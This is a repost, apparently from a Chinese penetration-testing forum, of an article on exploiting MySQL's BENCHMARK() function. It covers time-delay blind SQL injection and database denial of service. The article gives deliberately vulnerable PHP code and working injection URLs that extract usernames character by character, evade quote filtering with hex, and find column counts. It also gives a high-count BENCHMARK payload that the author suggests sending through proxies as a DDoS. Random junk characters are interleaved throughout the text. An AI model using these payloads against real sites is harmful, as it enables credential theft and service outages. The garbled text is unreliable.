中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
8 y) O& {! L$ |/ v7 A本文作者:SuperHei( V; Q4 S8 A; @
文章性质:原创$ Q0 K( X7 F! `& [8 r
发布日期:2005-01-02: J, [. M7 c8 j+ ]. e
完成日期:2004-07-09
9 N' f9 s' f& l% E! v  N3 u) v第一部
' X$ p9 [1 e  q( G  |9 A$ ^1 Y6 D& I1 O2 [* L' x
利用时间推延进行注射---BENCHMARK函数在注射中的利用
4 l( e- l9 p% w5 e% n9 D
) `8 {2 T: I) ?4 ^' D0 p一.前言/思路, ]4 B9 C7 d9 j

' x7 Q! r+ I3 {0 y- W  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。& W; X, n4 B- H6 U
7 l" m4 D: M2 c# P
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。) n/ M6 N- P+ B; c7 X
) a3 d$ Y# h; y& E' ~: n0 ~
二.关于BENCHMARK函数/ k& \) ~; q* N" h
( a0 C- p' x) I
  在MySQL参考手册里可以看到如下描叙: % J; u" F/ d( x

1 c4 O  j+ U9 `8 c" L& O8 ?  z3 S' x0 k8 t1 b3 W
--------------------------------------------------------------------------------" A' G5 K& ?: c

3 W% I% @0 r( B+ |; j5 _; JBENCHMARK(count,expr) + t" {) ^3 N3 _$ o' ~" |
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
# M- o" [) T1 B% S1 Y! c$ e, Kmysql> select BENCHMARK(1000000,encode("hello","goodbye"));   p9 \* o5 J8 h3 h
+----------------------------------------------+ 9 l2 l/ X9 `/ G7 c* v) ^. J6 C! s0 e
| BENCHMARK(1000000,encode("hello","goodbye")) | 2 ?% s! d5 |( Z4 S  ^/ Q
+----------------------------------------------+
: z1 b% e# Z. v" e- J$ d6 J! T1 || 0 | 5 R) z1 H' |% H; n
+----------------------------------------------+
+ ^1 a5 j% J" C1 row in set (4.74 sec) 7 ^+ a0 ^$ o1 p" U# n

0 m; O# z# A( I, T6 a: _报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
) z  v' P" [( s9 ?) z- P) }4 _7 J- }4 G4 R$ M/ k
8 {, M# p1 ~# b9 |
--------------------------------------------------------------------------------& P3 v) \. M2 O# D/ C

) L- B8 t) B1 ?7 y& R. R0 @" m4 |3 K& R  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: + X% D8 v8 c& h- R

) N/ B% M5 v+ `& Amysql> select md5( 'test' );
! N' l9 ]8 V: U$ y& E1 V; j+----------------------------------+
- ]* s% D" _/ w) j8 S$ m& W| md5( 'test' ) | , r6 v5 n' W; k- u' K
+----------------------------------+
( h( `+ d1 a5 G+ I| 098f6bcd4621d373cade4e832627b4f6 |
9 D5 w( Z% x$ i+----------------------------------+
4 p0 V3 @, p0 h1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ( S1 ]% d% [) h% O# w0 s

$ H3 d2 U* W& x# Omysql> select benchmark( 500000, md5( 'test' ) ); % d5 u# r) T8 t$ F+ }# B& o
+------------------------------------+ / m; G# P8 c% C7 g
| benchmark( 500000, md5( 'test' ) ) | 9 E! M0 ?1 c3 c- r3 Q7 D# e
+------------------------------------+
4 M' P6 e" H" P: s| 0 | ( t& w( D1 \! w; A8 G. S* a
+------------------------------------+
5 L1 @( h3 e1 s/ K1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
' r/ M* M. p. [! S2 Z9 w6 W " v8 c$ ]/ W2 J6 C1 J

$ @( C$ ~0 I/ R. g5 ?3 @$ A6 i  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 * {9 v. L" W/ q5 Z5 e
) B! j8 H" _( e0 m( x  `
三.具体例子
5 |* t5 P& E* B
' s( ]% u7 T# V5 |: r" y8 U  首先我们看个简单的php代码:; u1 J% z5 y4 f9 r# |1 k# X0 S2 M' [, T

) g& S  M2 g! P; J0 ^3 ], i0 u< ?php
4 P# ^$ b  D5 }$ j$servername = "localhost";
' |3 F# @$ v) w/ N! l$dbusername = "root";
8 _3 B2 Q) A; _6 E$dbpassword = "";
9 \3 R4 a- E0 x# X1 P. r& {$dbname = "injection";
' y0 m1 B  x* t: S" {# b, x
$ U9 N/ t5 K0 o8 Umysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ( v( p, e. U  U5 d% h3 T" t
7 U4 D# k" `& ?, Q- x/ G
$sql = "SELECT * FROM article WHERE articleid=$id"; 7 b% F- _4 I* i8 I: T
$result = mysql_db_query($dbname,$sql); & q5 k8 Z3 p9 m9 B% i
$row = mysql_fetch_array($result);
1 i! D) i8 F) |8 f; m/ R& p) l5 s" D  ]- |' R( i
if (!$row) : W: r* j% ^$ H/ V, r
{
% m, |/ R- @0 W) b5 X9 m/ f9 Pexit;
2 I% z0 I0 s% Y( V9 D% r0 r} ' Z% k! `' r' P2 Y0 f
?>
8 `  r9 o0 b* ~# n, X/ H& s1 K' W
* j& b5 e0 V1 T3 w& R5 M9 @
8 a& @) y3 `5 B% b# `  数据库injection结构和内容如下:9 A/ ]2 `5 r# _2 c
- j. Q$ O  ~/ l+ f  k
# 数据库 : `injection`
' ^' S2 p( |$ H0 ]1 ^# , Z4 h7 B& _+ S' U, J
9 L$ ^+ Z& O9 h
# -------------------------------------------------------- + N6 Y! i. T" W

! K8 X/ X# p# f/ ^& g; W" l#
" M. ?3 U7 Z* c. F2 b# 表的结构 `article`
/ R; R5 a6 T9 H#
/ y9 M8 C; I. |8 C. O5 y/ ]5 N8 Y! W
CREATE TABLE `article` (
* G: M) ]& g) m, s9 }6 `! e" J2 I`articleid` int(11) NOT NULL auto_increment,
7 ~4 K& T9 t6 H, g8 R% X`title` varchar(100) NOT NULL default '',
( c% Y% [4 N2 W`content` text NOT NULL,
, J" X7 Y0 I, W3 U3 |# V* VPRIMARY KEY (`articleid`)
  N) u1 S% x9 {8 l4 l% e) TYPE=MyISAM AUTO_INCREMENT=3 ; * E& Z" T% z. q

+ Y; c- L3 W, ?, |# * c" l. D7 W! c0 a1 r7 u# I
# 导出表中的数据 `article`
7 V; d4 L+ ~' W# ' u8 k5 n7 k" X, H; J( j
' f: X% |6 R4 A% K
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
7 k; V  r! o+ d+ OINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
) \8 M  [! A" H
6 h: F5 m! T7 `" G# -------------------------------------------------------- 3 r4 @1 F9 F9 U7 }. y$ Z' t
: z+ ]6 p: q2 ^, |! _$ u; m; ]  H
#   O/ @" M" J8 p" r7 j6 d& S! \. V% T
# 表的结构 `user`
  m1 N% h. n" G& h! n- T7 P#
$ r0 o! Y% i( O' v6 I/ A/ y1 C( c- j
CREATE TABLE `user` ( 5 t% D3 i+ S2 k, D& `
`userid` int(11) NOT NULL auto_increment,
0 e0 n  ?0 i0 \`username` varchar(20) NOT NULL default '',
, n5 s# {2 H* |/ D9 K8 W8 R`password` varchar(20) NOT NULL default '',
% q, L+ L' |  H/ `" WPRIMARY KEY (`userid`) 1 `) B: ~* C* N. z$ w- Z
) TYPE=MyISAM AUTO_INCREMENT=3 ; 9 j: P$ c, I; p' c2 V

: T% E$ D1 }3 g, V8 z8 a#
1 k2 m- b) u' {# 导出表中的数据 `user` 2 S9 W. v3 c: K/ y5 n- t" a( y8 D2 N
# " \. q# J5 @3 o. h1 _. _  ~$ ?
0 z7 t% n0 S+ n* A3 V
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); % Z5 E/ j9 \* _* m& q8 r3 h. a/ F
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
, A/ s8 v; Z% p. \* P 2 o# ?, U; r. l% N" j

: `2 @( U7 a$ q( T4 L8 k' B  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
1 I8 Q: A* T9 f' O* z* ]0 x
* ?7 k" E. Z# S/ t/ Iid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*6 ^' w, z" P# H! j& n# j

  D) m& }/ i. O3 Q" |$ U- {
: S  ^, r: }( d- L  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:, b3 ?& [% P! ~0 e7 a
1 {# }; f3 e( ?8 G. O" ]
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*  a2 l8 w7 C% e8 p# ^
$ ]2 }- y: q+ m. ~
# P! [& o8 a1 T. w3 z& n
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
1 b# R# w' H# n
" ?6 P+ f1 X: r6 t% n& h$ m; D2 c  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
3 L8 P  {! Y: _+ G8 m3 ?$ T1 a% h; `
第二部
$ j# S) f, m1 j5 Z0 d% [4 G& G! x9 ^4 ~4 `5 a
利用BENCHMARK函数进行ddos攻击
& m+ ~8 u, c7 A
- X; |9 `# S' T% D  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:3 ^3 d: Q# c% q1 E! R& @* j

$ K4 `" T' ?- xhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
9 E3 e, U- ^! O7 |( E
' j, K: R! W. W, q% g. ~, t% s% W" e
7 @6 P* {4 o5 ?; p小结" Z3 E8 |+ ]) `5 c; N
" E3 c0 `) U/ B* I, J- R% K
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。. I! B8 c5 w7 x5 K' j- D
* M) g% g; U" R0 b! B! o0 T/ V7 W
  
# h8 `: j/ V' ?




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2